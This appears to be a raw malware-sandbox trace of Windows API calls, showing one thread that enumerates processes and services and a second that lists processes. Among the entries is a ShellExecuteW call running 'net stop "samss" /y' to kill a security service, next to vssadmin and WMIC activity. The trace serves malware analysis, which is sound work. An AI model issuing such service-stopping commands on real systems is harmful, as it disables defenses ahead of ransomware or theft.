	[0283.557] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x307c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ae0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0283.559] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x30cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ad8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0283.561] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x364c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0283.563] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0283.565] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0283.567] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.569] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0283.570] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.572] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0283.574] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.576] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x41d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0283.578] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0283.580] Process32NextW (in: hSnapshot=0x8a8, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0283.580] CloseHandle (hObject=0x8a8) returned 1
	[0283.581] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x424640
	[0283.820] EnumServicesStatusW (in: hSCManager=0x424640, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 0
	[0283.820] VirtualAlloc (lpAddress=0x0, dwSize=0x1828, flAllocationType=0x1000, flProtect=0x40) returned 0x2840000
	[0283.821] EnumServicesStatusW (in: hSCManager=0x424640, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2840000, cbBufSize=0x1828, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x2840000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 1
	[0283.823] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0284.146] Sleep (dwMilliseconds=0x96) 
	[0284.559] VirtualFree (lpAddress=0x2840000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.561] Sleep (dwMilliseconds=0xc350) 

Thread:
	id = 13
	os_tid = 0x9a8


Thread:
	id = 30
	os_tid = 0xa08


Thread:
	id = 40
	os_tid = 0xb1c


Thread:
	id = 43
	os_tid = 0xb9c


Thread:
	id = 51
	os_tid = 0x32c


Thread:
	id = 164
	os_tid = 0x514


Thread:
	id = 412
	os_tid = 0xe9c


Thread:
	id = 560
	os_tid = 0x105c


Thread:
	id = 624
	os_tid = 0x119c


Thread:
	id = 667
	os_tid = 0x1294


Thread:
	id = 1647
	os_tid = 0x1fc4


Thread:
	id = 2401
	os_tid = 0x2b44

	[0243.281] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x338
	[0243.308] Process32FirstW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0243.310] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0243.312] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0243.314] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0243.316] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0243.318] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0243.320] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0243.322] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0243.325] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0243.327] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0243.329] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.332] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.334] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.336] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.338] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.341] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.344] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.346] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0243.348] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0243.351] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0243.353] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0243.543] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.716] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.719] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0243.721] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0243.723] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0243.725] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0243.728] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0243.730] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0243.732] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0243.735] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0243.737] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0243.739] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0243.742] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0243.744] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0243.746] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0243.748] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0243.751] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0243.753] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0243.755] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0243.757] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0243.760] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0243.866] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0243.868] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0243.871] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0243.873] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0243.875] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0243.877] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0243.880] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0243.882] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0243.885] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0243.887] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0243.889] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0243.891] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0243.894] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0243.896] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0243.898] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0244.010] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0244.012] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0244.014] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0244.016] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0244.018] Process32NextW (in: hSnapshot=0x338, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
